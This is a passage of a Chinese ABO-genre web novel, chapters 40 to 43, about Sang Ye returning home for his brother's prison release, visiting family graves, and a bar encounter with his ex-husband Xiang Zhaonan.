我先后查看了近百个美妆品牌的官网主页,发现在所有和心叶定位相近的品牌中,销量最高的往往都是各自的中端产品。说来也奇怪,他们似乎都不约而同地把自家产品分成了三档,更奇怪的是最低档的那些产品销量居然比不过中端产品。我参照他们的设置,将心叶的定价分成三级,考虑到低端线销量并不高,大多数的产品都定位到了中端,相比于之前的价格会稍低一些,但又不至于低太多。 而且,为了以前的顾客没有怨言,我让产品部专门生产了一套礼盒作为补偿。 效果很好。 至少我觉得比那场发布会效果好。 12月10日,弟弟桑也。 大哥真厉害,不愧是浸淫商场数年,你不说我都没想到这一茬。的确,如果我是一个手头有点余钱但又不太多的人,我会优先考虑中端线,都买大牌了谁会买大牌的廉价产品?至于高端线,又有点打肿脸充胖子的嫌疑。的确是个好策略。 难怪我总觉得在你们面前做什么说什么都会被看透,原来你们真的研究过心理学。 新年快乐,大哥。 1月1日,弟弟桑也。 大哥,虽然我一直没说,但是……相召南手里有关于桑氏地产被污蔑的证据,应该是有前员工和陈张地产的谁私底下联系过。不知道你能不能让人从这方面着手去调查下。 4月10日,弟弟桑也。 大哥,我好难受。我的后颈痛得仿佛被铁水浇筑,我吃了好多止痛药,都不管用。 我想吃香瓜了。 7月2日。 老大精力太旺盛了。他还小的时候我疲于工作没时间带它遛弯时就会在家里帮它坐俯卧撑,圆鼓鼓的肚子被挤压得肉肉到处流动,一般做个四五十个它就累了,趴着吐舌头再也不嚷着出门了。 但现在不行了。 9月1日,弟弟桑也。 老大越来越调皮了,一次没带它出门遛弯,就把沙发拆了。我把它打了一顿。 10月21日,弟弟桑也。 史密斯批评我说我的画悬浮空无内涵,没有真情实感,是空中楼阁。我尝试着画了记忆里的爸妈,姥姥,还有你,但史密斯都觉得不够深刻。 我做了错事,哥,我该怎么办? 1月3日,弟弟桑也。 如果那能帮你在绘画上有所精进,不要感到愧疚抑或是难过。在那段感情里你问心无愧,没有犯错,不敢回顾的人不该是你。 我在监狱一切安好,勿念。 1月10日,兄长桑守安。 不知道为什么,现在的顾客似乎对我抱有一些奇怪的幻想。我在工作的时候,助理往工作群里发了一个文件,我以为是什么工作内容,刚好接收了。结果我点开一看,竟然是我手再慢一点就会被和谐的内容!那天我在办公室脸烧得滚烫,大脑也不清醒,一点工作都没做成。 我问助理这是什么,他支支吾吾地说网上有一些人幻想和我谈恋爱,说我有钱有颜值,还会画画,平时出镜的形象也是礼貌和善温温柔柔的,是很多人的理想对象。 我不理解,我说我不是Alpha,助理竟然说正是因为我不是Alpha,还是一个受尽了Alpha的苦、鼓起勇气剜除腺体的倒霉蛋,才会有那么多人迷恋我,他们对Alpha都有很大恶意。说到这里我反而能理解他们了。于是我也没要求助理帮我把这些内容从全网清除掉,就当是给他们一些合理的幻想,引导他们发展正确的恋爱观吧。我绝对不是在反Alpha。 3月7日,弟弟桑也。 老大把我新买的沙发拆了,我想打它一顿。但我打不过它了。 一年半的时间,它打坏了无数个水杯,四个花瓶,七个陶瓷碗,咬坏了四套窗帘,三张沙发。 谁能管管它? 要不我把它送去给你作伴吧?我相信监狱的军事化管理一定能让它改邪归正。 6月27日,弟弟桑也。 老大莫名其妙对着空气嚎叫,叫得我心里发慌。我让助理给我雇了个保镖,但又觉得让他随时随地跟着我有点小题大做。 9月2日,弟弟桑也。 心叶好起来了。前段时间心叶总部大楼被人拍了视频发在网上,又火了一把。 收到了M国总商会的信函,邀请我到今年的年终大会商量明年的计划。可我不是M国人。我还在纠结去不去。 11月7日,弟弟桑也。 真好啊,走到哪里都有人点头哈腰,即使是年纪比我大二三十岁的人,也不得不对我说的话连连点头。 柴柯斯,就是那个总是找我麻烦的人,当初心叶暴雷就是他的手笔,前不久也进了自家公司,结果上台没几天就带着公司亏损了几个亿,被他祖父一脚踹得进了重症监护室。悄悄说一句,里面有我使坏。但我不是坏人,我只是帮他父母教育孩子。 上次在林肯先生家碰到他,他也不敢再对我出言不逊,显然在商场上遭到毒打之后有所收敛了。看他吃瘪,就像我之前在酒会上终于忍不住把对我阴阳怪气的人怼了回去一样爽。 1月13日,弟弟桑也。 哥,你快要出狱了吧? 3月22日,弟弟桑也。 哥,林肯他居然用拍卖行……!我和他大吵了一架,他还笑我太天真太幼稚。 我完全无法接受。 我问他,如果我是他的孩子,他还会这样做吗。他说,但你不是。不仅如此,他还对我生气这件事很不满,骂我是小白眼狼。 不可理喻。 4月30日,弟弟桑也。 老大好像发现我不开心了,溜它的时候一个劲往商场里钻,最后停在一个娃娃机前面。 我还没换好硬币,它就钻到娃娃机里面去了。准确说,狗头进去了,屁股没进得去。它已经不是当初那个能麻溜钻进去的小狗了。 最后叫了商场负责人过来,给了小费,让他帮我们把机器拆了,把老大救出来。 5月2日,弟弟桑也。 哥,我好开心。我们终于要见面了。 我变化很大,至少周围人都这样说,说我成熟了,稳重了,气质都老成了。你一定会感到惊讶的。 凌星前不久才开了演唱会,他也成了一直想成为的人。老大上周感冒了,我守着它打针吃药才好起来。这个犟种为了不吃药硬是把药水含在嘴里,趁我离开偷偷吐在花盆里,还是我给花浇水的时候闻到一股药味查了监控才知道。 哥,我们终于要见面了。 7月21日,弟弟桑也。 第40章 无论某些二代如何看不起桑也, 觉得他流浪到M国,觉得他不过是一个连完整腺体都没有的残废,现在的桑也早已不是他们能在明面上诋毁看低的了。 时常, 桑也出现在他们的长辈身边, 以合作伙伴的身份。 即使是从小娇生惯养的Omega, 抑或是眼高于顶的Alpha, 都只能乖乖巧巧,顺从地叫上一句“桑总”。 当桑也宣布要暂时回到C国, 最高兴的不亚于那些仗着莫名其妙的高贵看不起桑也、嘴里嘀咕着“不知道那些人喜欢他什么”却又不得不对他低头的人, 再也不用听着家里长辈念叨“你看看人家”。 桑也知道他们的仇视从何而来,但桑也从不虚伪地表示谬赞, 而是大大方方笑着感谢夸奖。 回国的前一夜, 林肯还在跟他讲,留在M国他能有更好的发展。 桑也当然不可能说他认为在你身边风险太大, 只是用一些情怀之类虚无悬浮的东西搪塞了过去。 “你不真诚。”林肯最后评价他。 桑也轻笑, 似乎并没有把这一句批评看得太重,“林肯先生教得好。” 林肯不可能听不懂他的言下之意,但并没有对他的刺言感到气愤, 反而平和而意味深长地讲道:“回了C国,也还能继续合作。” 最后M国也没能留下他。 桑也的机票定在桑守安出狱那天上午。老大由助理提前一天带回国。 他在M国的事务太多, 除了刚到M国扶起来的成安拍卖会和心叶美妆, 后期把好几家桑父桑母过世前留下的企业引上正轨, 集团化初见成效, 桩桩件件都需要交付给代理人。 因着都是他的心血, 他对这些公司的感情不亚于对自己亲生的孩子,离开前的细细碎语算是最后的柔情。 桑守安出狱的前一天晚上,桑也坐上了飞机。 轻装上阵。 很多东西都没带, 比如三年来画的近二十幅油画。 他计划在飞机上睡一觉,但实际却因为难捺不住的激动而难以入眠,以至于在头等舱的窗口看了一整个航程的黑色夜景。 当灰蒙蒙的视野里出现成片闪耀的灯光,他便到了S市。 上午九点,他从机场出来,朝着停车场走去,准备开着提前让人运回国内的科尼赛格直接去S市市监接大哥。 然而等他在并不明朗的停车库里找到自己满钻的爱车时,却在车边看见了一个令他不住皱眉的人。 相召南不知为何出现在了他的车前,用一副难以形容的表情凝视着柯尼塞格,仿佛在追悔什么,又像是隐含着某种期待。 三年不见,桑也一时有些没反应过来。相召南的穿着还是老一套的西服加腕表,身上的气质也并没有多大改变,甚至相比于三年前,那种凌驾于众人的气势更浓烈了几分。 然而就在桑也开口的下一刻,相召南浑身的气息都变了,变得畏缩,收敛,像不擅长表现自己的人初次站上舞台。 “有事吗,相先生。” 桑也主动开口,绝非怀着某些念念不忘的想法,反而是忘得彻底,内心干净,才不会望而生怯。 他坦坦荡荡,仿佛三年前的一切苦难都被他抛之脑后,仿佛三年前的爱恨情仇都只是过往,没在他身上留下任何痕迹。 只见相召南脸上出现了瞬间的惊愕,“你叫我……相先生?” 他原本挺拔伟岸的身躯变得渺小起来,似乎有什么东西破碎了。 桑也心无波澜,只说:“相先生要是闲得没事就自己站会,我还有事,先走了。” 他刚打开车门坐进去启动车辆,低沉平稳的车辆轰鸣声甫一传出来,相召南就慌不择路地转到他车窗处,竟然用手按住半开的车窗,仿佛要用蛮力逼停随时可能冲出去的跑车。 相召南没说话,却见边上走来一个陌生男子,看不出是Omega还是Beta,似乎是看明白他二人并非爱侣,主动上来攀谈,询问能不能加桑也的联系方式,桑也本想婉拒,但又同意了。 他不在意过去,不代表他不乐意看见相召南吃瘪。让每一个和他有过节的人吃瘪,都能缓解他工作的疲劳。 直到那个陌生人笑着走开,相召南都还一动不动。 他那副欲言又止的神情让桑也看得心烦,直问:“到底什么事。” 相召南三缄其口,凉薄的唇几度张合,最后在桑也踩下离合这一刻,才憋出一句:“你结过婚,不适合再开这种车了。” 满钻的柯尼塞格高调奢华,随时随地都能吸引来一批爱慕者,和某些常年开着商务车的人格调大不相同。 桑也顿时笑出声来。 这话听着有几分熟悉。到底是不适合车,还是不适合什么。 桑也用细细打量的目光上下扫视相召南,尽管他坐在昏暗的车内,目光却如同日光一样灼灼。 “这位先生,我二十五岁,正值盛年,开这种车正合适。是你老了。” 他只留下这样一句话,旋即开车离开了停车库,再耽误点时间就要赶不上接大哥了。 至于说话不合时宜的人,不必理会。 被他抛在车后的人闻言流露出复杂的难堪神色,装得刀枪不入却还是被自己受伤的神情出卖。他老了?相召南不由得开始审视自己。 然而桑也一无所知,也不想看见。 S市的早高峰从早上六点多一直持续到九点,纵使桑也开着豪车,也只能和所有人一起堵在路上。 到市监门口时,凌星已经在等候,看着没有大哥身影,桑也默默感慨了一句还好没来晚。 本来凌星昨天晚上就吵着要来机场接机,结果这小子一觉睡到八点,家离机场又有一段距离,桑也便让他直接到监狱门口来。 一见到他,凌星就虎扑上来,搂着他的脖子,叽叽喳喳说个半天。不知道怎么地就摸到了他脖子后面微微凹陷的地方,整个人僵在原地,傻愣愣地收回手去。 三年来,凌星开巡演,桑也又忙着公司的事情,总是凑不到都有空的时间,因而只匆忙见过三四次。上一次见面还是快一年前的事情。 加上有桑守安出狱这么一件喜事,所以凌星激动也在所难免。 至于残缺的腺体。 知道归知道,摸到又是另一回事。凌星一直规避着不去提这件事,却在这么个好时候不小心碰到,面上的喜色瞬间消逝了。 桑也看得开,“都三年了,这有什么。” 凌星看他不介意,松了口气,又开始吵闹起来。 倒是桑也发现了些不对劲,这人在舞台上蹦蹦跳跳,怎么到了他身边就软绵绵的,站一会就得吊在他身上。 他问凌星:“你身体不舒服吗?” 凌星立马嚷着:“我能有什么不舒服的?” “欸,桑大哥出来了!” 桑也瞬间被吸引了注意力,他望向铁门内,果然看见桑守安在监狱人员的陪同下出来,穿着一身浅咖色薄款风衣,是桑也提前叫人送进去的。 然而他的目光并没有一直停留在大哥身上,反而在桑守安身边的两名监狱人员上流转。 一个留着络腮胡,还有些发福,肚子都快把制服撑破了,另一个个子看着还不到一米七。这二人怎么看都不像是那位多次出现在信件中的楚方明。 桑守安走出大门,凌星立马冲上去放了个礼花,哐哐拍掌:“恭喜桑大哥出狱!” 在繁盛的礼花坠落之际,桑也和桑守安深深拥抱了一下。 他听见两个人不约而同响起的声音。 “大哥——” “耶耶——” “你受苦了。” 桑也心间霎时发了大水。 他没有说什么“没有”“我过得很好”,桑守安也没有。 二人只是抱在一起,缄默无言,仿佛过去三年的艰辛在这个拥抱之下都能和解。 这个拥抱很久很久,久到送桑守安出来的两名工作人员返回门内关上了铁门。 桑守安没带什么东西,监狱里东西带不进去,也带不出来。 等他二人松开,便准备离开。 三人往前走了几步,到车前时,桑也频频回头。 凌星似乎发现了他的不对劲,问他:“耶耶你脖子出问题了?” 桑也给了他后背一巴掌,把人推到车上去,关上车门,转身问桑守安:“没有别的人要来送送你吗?” 他浅浅笑着,还带着些揶揄之色。 然而桑守安只是沉默地坐上了副驾驶位置,桑也见状赶紧了回到自己的驾驶位。 他迟迟没有启动车辆,良久听见大哥说:“除了你们,还有谁吗?” 桑也的笑容收了回去,默不作声启动车辆,缓缓驶离市监的范围。 然而他清晰地看见,桑守安在车辆转弯后久久看着监狱大门。 因为桑氏出事,他家在S市的十几套房产都被法拍,好在他半年前就期待着这一刻,早早着手在S市海风府购买了一套独栋。 新房子环境好,面积大,虽然在市郊,但比之前桑家那套别墅离市区近些,地段还不错。 唯一不好的就是没有人气。 回到家里,桑也和桑守安、凌星一起吃了顿饭,因为桑也喜欢吃辣的,便做主点了S市有名的火锅店送餐来。 热腾腾的锅气瞬间让冷清的房子变得热闹起来。 提前回来的老大已经把房子踩熟了,听见开饭的声音,立马哼哧哼哧跑过来趴着。凌星挑着生肉逗它,把老大馋得不行。 桑也笑他:“怎么还跟狗抢吃的。” 凌星骄傲得很:“我以前还跟狗抢你呢。” 寂静一瞬之后,三人都笑了。 吃完饭后,凌星的经纪人来接他去跑商务,家里的厨余则由钟点工来收拾。 桑守安点了支烟在阳台抽。 见桑也过来,他掐灭了烟,问:“耶耶不去午睡吗?” 过去桑也有午睡的习惯,后来在M国忙碌惯了,午睡习惯也没了。 桑也摇头,想说些什么,又怕唐突,最后在桑守安微笑的等候中鼓起勇气直说:“大哥,有矛盾就解决,不要拖到最后无疾而终了。” 桑守安和他不愧是血脉亲人,二人的扭捏劲一模一样,所以在桑也看见大哥那个眼神时,他无比熟悉。 他遭受了爱情的摧残,但并不认为是爱情的错,错在人。大哥这么多年没谈过恋爱,又和他一样是个忸怩的性子,他不想大哥最后落得和他一个下场。 桑守安眼神飘忽了一瞬,不知道想着什么,旋即揉了揉桑也的头,把对方的黑色短发揉得乱七八糟的,像刚睡醒似的。 他宠溺道:“是,桑总教育得对。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 “回去看看爸妈和姥姥吧。” 桑守安对桑也说。 桑也没说什么, 安静地置办了些东西拎到后备箱。出发前,桑守安问:“不带,嗯, 老大吗?” “他会吐你一身。” 桑守安合上后备箱车门, 笑着说耶耶小时候也晕车, 但桑也不知道在想什么, 没理他。 直到坐上车,桑也都还保持着沉默。 再次踏上这片土地, 一些黑色的记忆无法回避地涌上脑海, 仿佛污秽泥藻粘在颅腔四壁挥之不去。 三年来他有好几次机会回国。 可是他不敢。 更别提回到姥姥的埋骨之地。 车内只有发动机嗡鸣的闷响,像堰塘里荡开的水纹撞到边沿的池壁又荡回来, 推得桑也摇摇晃晃。 他可能是晕车了, 桑也想。 车辆正正停在三座孤零零的坟茔前,发动机熄火, 一切归于寂静。 桑守安推开车门下了车, 却没见桑也下来。他打开副驾驶的车门,“耶耶?” 桑也感觉手有点冷,头有点晕, 胃有点想吐。他僵僵地抬起眼睛看着大哥。 “哥,爸妈会怪我吗?姥姥……”说到后面, 他的声音异常艰涩, 如同烧伤了喉咙的病患, 深深吸了一口气, “会怪我吗?” 母亲去世后, 父亲不眠不休地工作,把事物都处理好,最后随母亲而去, 事先交代给他们的就是,让他们兄弟俩一定要好好侍奉姥姥,让姥姥尽享天伦之乐。 姥姥每天早出晚归,摆弄她的一草一木一花一果,身体健康,要是没有出意外,再活个十年二十年没有问题。 可是却因为他的一则电话披着霜露出门,失去了生命。 尽管在M国风生水起,回到这块熟悉的土地,他还是像三年前一样脆弱。 然而他听见大哥说:“你再不下来,姥姥就该想为什么小宝三年都不肯来见她一面呢?为什么到了地方还迟迟不肯下车呢?届时真该要怪你了。” “耶耶,你在质疑爸妈和姥姥对你的爱吗?他们知道你这样想他们,那才是真的要生气了。” 桑也心里一震,鼻头酸酸的。 他装作气冲冲的模样,啪地跳下车,“大宝你说什么呢。” 桑守安倒吸了一口冷气,梗了一下,无可奈何地关上车门。 桑也到后备箱取出给爸妈和姥姥准备的祭品,二人分担着一块拿去了坟墓前。 一为单,二为双,三成群。这一块方地因为三块坟墓的落座,已经不是陵园胜似陵园了。 桑也把香烛和纸钱放在姥姥墓碑前。 现在很多地方都不兴点香烧腊烧纸钱了,但春城是乡下,这里的人旧,习俗也很旧,从这里走出去的桑家人也保留着这样的旧习惯。 他没有抽烟的习惯,自然也不会随身携带打火机,于是看向桑守安。 谁料桑守安也干巴巴望着他,二人面面相觑。 桑也:“打火机呢?” 桑守安皱了皱眉:“戒烟了,没带打火机。” 桑也头上似乎冒出来两个问号,装什么呢,昨天不还抽着。就算是监狱没有烟酒,他都能天天往外面送信,还能搞不到烟? “你昨天……” 桑守安:“咳咳,昨天是一时兴起。发现没什么意思。真戒了。” 桑也好看的眉微微蹙起,那怎么办?总不能钻木起火吧,就算他想,连根棍都找不着,有心无力啊。 他凝愁的目光落在干干净净的坟墓前,三年来按理说只有清风扫过的坟墓和墓碑竟一尘不染,没有枯黄的落叶,也没有纷乱的杂草,在墓碑前的夹缝里……居然还有一根小指长的红色木棍? 桑也捡起来看了一眼,应当是香的杆。 若是在桑父桑母的坟前出现了这样的遗留物,自然不会引起桑也的留意。 然而在沈音华的坟前…… 姥姥出事时桑也正在医院,大哥没多久就被收押,只有大哥安排的人帮忙下葬。 难道是下葬时烧了香? 但春城没有这样的习俗。 至少在桑也的印象里是没有的。小时候他还住在春城时,总是熬夜玩手机,半夜听到有吹唢呐的路过,胆子大的他便偷偷溜了出去跟在后面,目睹了一场下葬的仪式,只看见了落棺和培土,没见着还要点香。 后来爸妈的骨灰盒下葬时,桑也一直跟着,也没见点香。 他的印象里,停灵的时候似乎会烧点香蜡,但姥姥出车祸正值夏天,天气炎热,停灵容易有异味,所以第二天就入了土。 没有进火葬场,是因为姥姥毕竟年岁大,还坚守着入土为安的想法,当初桑母化作一坛骨灰时桑父还挨了她一顿骂。 更关键的是——桑也模糊记得,他出国前一天来看望姥姥时,还没有这样东西。 桑守安没有注意到桑也的举动。 桑也把一截红杆握进手里,对桑受安说:“哥,你先拆着纸钱,我去找邻居借下打火机。” “嗯,去吧。” 桑也心有所思地晃到了临近的一家住户门口。 他还没有敲门,就听见了几声狗吠,随后从屋内闯出来四五条黄狗。 桑也一看便知道它们都是老大的小弟。 狗叫声吸引来了主人,一个头发斑白的老头子走了出来,他咦了一声,似乎还在辨认来者是谁。 桑也先认出了他:“李叔,忙着呢?” “诶,没有没有,看电视呢。你怎么回来了?” 桑也笑了一下,“我和大哥回来看看爸妈和姥姥,给他们烧点纸钱。李叔你有打火机吗?我们到了地方才发现都没带打火机。”他摸摸脑袋,一副羞赧的样子。 李叔立即掏了下上衣的口袋,递给他一枚透明塑料壳的打火机,一元钱一只的那种。没等桑也接手,李叔不好意思地笑了笑:“便宜货,别介意。” “哪里的话,能有人借给我就要感恩戴德了。”桑也拿过打火机,放进裤子口袋里,“那我待会用完了就给李叔你送回来。” “不急不急。” 然而桑也还没有离开的想法。 李叔拿不准他是什么情况,也直愣愣杵在院子里,好半晌才开口问道:“还有什么事吗?” 他似乎以为桑也还别有所求,特别大方地一挥手:“有什么事尽管跟你李叔说,别看我年纪大了,能帮的我肯定帮忙。” 桑也张了张口,最后叹了口气。 “李叔,这三年有什么外人来过春城吗?我在姥姥的墓地前发现了这个。”他取出香杆,摊在手中。 李叔眼睛不好使,凑近看了几眼,才恍然道:“你说这个?确实有。” “你家坟堆那里两三个月就来个人烧点香烧点纸,不是你托人来的吗?” 桑也没有点头,也没有摇头,只问:“你还记得他长什么样子吗?” 李叔回忆了一下,慢慢道:“应该是个Alpha,个子很高,一米八都不止,得有一米九,每次来都穿着西服,长得倒是很帅,但有一次来的时候盯着我的狗看了好几回,我怕他偷狗,特意把狗关在家里好几天没让出门。” 这样的描述,桑也心里已经有数了。 果然是他! 桑也心里一阵恶寒。 甚至后悔没有早点回来春城看望姥姥,才让他频频造访,让这个不请自来的人玷污了姥姥的坟墓,打扰了姥姥安息。 他以什么样的身份给姥姥甚至是他的父母上香,有什么资格给他们上香。 他带来的香蜡纸钱都是罪恶的。 还特意打扫干净。 呵。 桑也捏着那一截香杆,在他完全没有意识到自己用力的情况下就把它捏成了三截。 碎节从他手中掉落时,他才清醒过来。 他脑海中一阵激荡,不假思索地开口道:“李叔,拜托你一件事。” “你说。” 桑也这时又有些难以开口了,毕竟是违法的事情,但他实在钻心地狠,最终还是咬着牙说了出来: “那个人以后要是再来,麻烦你帮我把他赶走,赶不走就抄起棍子打他,医疗费全部由我负责。” “当然我也不会让你平白去冒这样的风险。他打伤了,轻伤十万,重伤百万。” 李叔吓得合不拢嘴,“这这这……” 桑也让李叔把手机拿出来,先给他扫一万,就当是帮忙看守的感谢费。 李叔傻愣愣地就这样把手机打开,听到叮的一声“到账一万”,才结巴完。 “孩子,他跟你有仇哇?” 李叔自然不会懂,在他眼里,帮忙上香甚至是件好事。但看面前这孩子的样子,听他说的话,又觉得那人恐怕是自作主张,帮了倒忙。 桑也收回手机,踩着掉在地上的香杆碎节碾了又碾。 “仇?” 桑也轻声念了一下这个字,像夏天里被烈日炙烤变得滚烫而膨胀的风浪一般似有似无地传入李叔耳朵里。 “看不惯他。” 回到坟茔前,桑也把香蜡点了,纸钱已经拆好,也悉数烧给了三位逝者。 正烧着,烟灰四溢,几只黄狗吠叫着跑了过来,绕着他们转了好几圈。 桑也对桑守安说,下次还是得把老大薅过来,它应该也很期待见到自己的兄弟姐妹们。 二人又和爸妈说了会话,山风吹过,一簇坟前的小草晃了又晃。 桑也伸出手想要拔掉杂草,但他突然想到以前爸妈也会这样安静地听着他们分享碰到的趣事,时不时点点头,表示自己有在认真听,又收回了手。 临走前又去荒地逛了逛,因为没人管,香瓜藤长得到处都是,但没结几个果,瘦巴巴的,估计是没人盼着,就没动力结瓜。 桑也没得挑,只能摘了几个老弱病残瓜回去。 第42章 回到海风府之后, 桑也休息了两天,桑守安则是忙不迭就和律师见面,应该是提起再审和公司组建同时进行。 之前的桑氏地产已经完全被陈张吞食, 连名字都不复存在。 但据说经营并不好, 至少目前来看, 可以说是称得上困难。 桑也躺在床上, 头脑中不自觉开始规划在国内的事务,他给助理发消息, 让他来海风府一趟, 把分居证明拿去法院。 这时手机响起来,是凌星约他去喝点小酒。 桑也不爱喝酒, 但凌星听起来似乎很激动, 加上偶尔喝一点也不会伤身体,便答应了。 又给助理发消息说他要去酒吧, 让助理不用来了。 约见的地点有些出乎桑也预料, 不在市中心,只能说还在市区。 到了地方,桑也和凌星往吧台上一坐, 一人一杯清酒。 “新开的酒吧?”桑也抿了一口酒,问。 凌星摇头, 随即又气愤地捶桌。 “你是不知道, 你走之后没两年相渡南就被相召南搞到F州去了, 春山被相召南拿下, 半年时间就开遍了S市, 把其他酒吧生存空间抢了个一干二净。现在香山路那边,但凡是个酒吧,都叫春山。” “搞得我像喝点酒都只能往外跑。”凌星郁闷不已, “再往外就跑春城去了。” “哪有那么夸张。”桑也低声笑了下。 这间酒吧的位置确实不如香山路的好,但也没远到市区之外,跑到春城就更是夸张之词了。 “我恨他。”凌星斩钉截铁道,神情严肃庄重,仿佛下一秒就要拍案而起了。 “能不能告他垄断啊?” 说完自己都笑了。 二人笑完,桑也才缓缓开口:“你要嫌远,春山也不是不能去。” 其实他知道凌星为什么不肯去春山,还仇意如此之大。但他就是想逗一下凌星。 果然,凌星立刻炸毛:“不是不能去?!当然不能去!你把我当什么人了,我是会为了偷那点懒而背叛你的人吗?” 说着,这人还戏瘾上头,深情并茂地捧着心口,望着桑也:“为了你,我守身如玉整整三年……” 还没等桑也说什么,正花里胡哨丢着雪克杯的调酒师手里一个不查,雪克杯掉在桌面上,发出砰的一声,桑也看过去时,正好撞上调酒师那副深受震撼的表情。 只见调酒师不知道是觉得丢脸,还是认为自己撞破了什么惊天大瓜,桌子也没收拾一下就跑走了。 桑也挑了一下眉。Omega与Omega,或者说,Omega与Beta的结合,终究还是太小众了,给人都吓跑了。 他拿起酒杯碰了一下凌星的杯子,“这下好了,我清誉被毁,你得负责。” 凌星撸了一下头发,仿佛精神Alpha鬼上身了。 闲话到这里,二人越聊越开。 到后来不知怎的就聊到了桑氏地产上。 凌星一边对相召南口诛笔伐,一边对陈张嘲讽不已。 “那么大个桑氏地产被他们收购之后发展成这样,我都嫌丢脸。有钱收购,没钱交房,一人一口唾沫都能把他们管理层淹了。” “我听说陈张地产这三年境况并不好?” “对,前不久还闹上新闻了,因为一直没有交房,有倾家荡产买到烂尾楼而且自身精神本来就不太稳定的人直接拿着菜刀冲到了陈张地产董事长家里,把那老头砍得人事不省,到现在还躺在icu里。” “闹跳楼的就更多了,我都记不清有几回。估计陈张地产现在压力也很大吧。” 桑也一时没有说话,心情莫名有些沉重。 “其实我完全能理解他们,S市的房子动不动就二三十万一平,像陈张接手的清水湾,最贵的卖到了三十二万一平,大多数人买一套房要掏空两三代人的全部积蓄,结果买到烂尾楼,嘶——” “房价都摸清了?”桑也讶异了一下。 却听见凌星嘿嘿笑了两声,“半年前刚买了套房。” “你家那么多房不够你住的。” “那是家里的房,我买的才是我的小家。” 桑也到没想过这一茬,又想到点别的。 “清水湾三年前不是就已经快交房了吗?我记得当时只差门窗内装小区绿化什么的,也烂尾了?” 凌星倒是不太清楚这些,只说:“我看新闻上说砍人那个买的就是清水湾的楼,据他自己说,他想自己接手后续工作,也不要求陈张地产继续干下去。结果物业不给供电,家居建材什么的都运不上楼,他本人又是大厂员工,刚被裁员,两件事情直接给人气得发疯了。” “物业……” “物业没拿到工资,就拿业主撒气。” 桑也默然十几秒钟,心里暗骂了畜生。 “陈张现在是什么情况?虽然三年前我大哥就说房地产市场不太景气,但也不至于闹成现在这样。” “我听说陈张地产老板老的想一口吃成胖子,吞并了桑氏地产,小的呢……”凌星顿时一副神神秘秘的表情,凑到桑也耳边,“又沾点赌。” 桑也抿了一口酒,拳头都攥紧了。 这时凌星的手机来了电话,不知道是谁打来的,他吹胡子瞪眼但一句狠话也没敢说,直到挂完电话,才指着刚回来的调酒师:“我照顾你生意这么多次,你居然告我的状!” 随后又扒着桑也的肩膀哭唧唧说自己必须得走了,祝他玩的开心。 凌星走了,桑也纠结了下要不要现在就离开。 他想着难得放松一次,便坐在吧台前慢慢把一杯酒喝得差不多了。 一边喝,一边在手机上查和陈张有关的新闻,和凌星说得大差不差。 不知道是不是先入为主的缘故,桑也看着陈张董事长那个Alpha儿子的照片,总觉得他有股狠厉之色,像街头混混。 桑也把酒杯退回给调酒师,从高脚凳上下来,准备离开。然而他刚站起身,余光就觑见两道蠢蠢欲动的身影似乎朝他走来。 他稍稍皱了下眉,就见一个样貌端正的Omega站在了他面前,手中端着一杯紫红色的鸡尾酒。 “桑先生,请问我有荣幸请你喝一杯酒吗?” Omega有些腼腆道。 他的羞涩和腼腆与他在酒吧拦人的举措格外矛盾。 桑也刚想推拒,那Omega又说:“我是你的粉丝,亲眼看着你从三年前的小有名气到如今的声名显赫,你的每一幅画每一个细节我都如数家珍,心叶美妆的产品我有全套。所以,可以——给我个机会吗?” Omega双目晶莹,提及他时两眼放光,甚至到了一种饿狼见到羔羊眼冒绿光的地步。说到给个机会时,更是充满了渴求。 类似的表露桑也在M国也时常遇见,如果不是他之前意外接收了那份奇怪的文件,他绝对想不到竟然会有这么多Omega对他抱有欣赏以外的感情 在这个社会,Alpha与Omega结合是天经地义,Beta与Beta结合是理所当然,Beta肖想Omega是痴人说梦,而Omega和Omega,则是秽乱社会。 但他的粉丝群体里面诡异地出现了众多具有反叛精神的Omega。 平心而论,桑也的漂亮是毋庸置疑的,即使是毫无经验的新手摄影师也能凭着一张他的剪影轻松斩获头奖。而他的能力,又让他的美貌变成某种货真价实的东西。 那么…… “机会”,是什么机会? 桑也莞尔一笑,接过酒杯,“喝酒可以。” 至于别的,还是算了。 Omega眼中闪过一丝失望,但很快消失,取而代之是同样炽热的目光紧紧盯着桑也的脸,或者说,盯着那双唇。 桑也垂眸在酒杯中,突然手机响了起来,铃声在放着音乐的酒吧里并不刺耳,反而是不停的震动仿佛某种无声的催促。 …… 在阴暗的角落,男人站起身来,久久没有坐下,双目如同被胶水粘在了不远处的人身上,一刻也没有挪开。 相召南不自觉攥紧了拳头,因为一秒的犹豫,他只能眼睁睁看着另一个人捷足先登,不仅递上了一杯不知道有没有加什么东西的酒,还用恶心的、狗一样的黏糊眼神盯着桑也。 他却只能在无人问津的地方默默祈祷:不,不要喝! 然而他的祈祷毫无作用。 他看着桑也垂眸,看着桑也拿起手机,不知道想到了什么,又说了句什么,竟然真的喝了一口! 桑也面前那个Omega登时流露出欣喜之色,手舞足蹈朝着桑也鞠了鞠躬,步伐紊乱地倒退着离开了桑也。 随后,桑也将酒杯放在吧台上,接了个电话,手指反复摩梭着高脚杯的杆,整个人背对着相召南。 相召南只能看见那个单薄纤细的背影,目光不由自主移向那原本该微微凸起现在却异常平坦甚至可能稍有凹陷的后颈侧。 心脏抽痛了一下,迫使他移开目光。 然而这一移,他便发现了问题。 那个Omega竟然没走! 正躲在酒吧的一根廊柱后面,不时侧身出来看一眼桑也。 相召南心提到嗓子眼。多年来纵横商界的经验让他对危机有着毫无逻辑的预知感。 现在,他几乎是没有思考就确定了那酒里肯定下了脏东西! 他曾在桑也看不见的地方注视过桑也无数回,也想过冲动一回出现在桑也面前,在桑也回国的当天,更是脑子不清醒地在人家车前守着。 但他心中胆怯。 李由说桑也肯定并不想见到他。 以至于他畏畏缩缩。 然而此时此刻,他根本顾及不了那么多,大步流星走到桑也面前。 恰好桑也挂断了电话。 相召南伸出手,想要拨开那酒杯,“这酒里……” 他没触及酒杯。 酒杯被桑也抢先一步拿在手里。 下一秒,酒杯中紫红色的液体出现在了相召南的脸上,衣襟上,和西服扣子上。 相召南说话的动作像是被按下了暂停键。 第43章 相召南当然清楚自己的出现并不讨喜, 从那天停车库里桑也冷漠的态度就可见一斑。 三年的时间长河流淌,但并没有像冲刷鹅卵石使其干净圆润那样抹去桑也对他的恨。 相召南并不怨,这是他应得的。 只不过即使早就做好了最坏的预期, 刚一出现连话都没讲完就被泼了一满杯冰酒, 这样的冷淡与厌恶还是让他心抽痛了一下。 又因为彼时他正在说话, 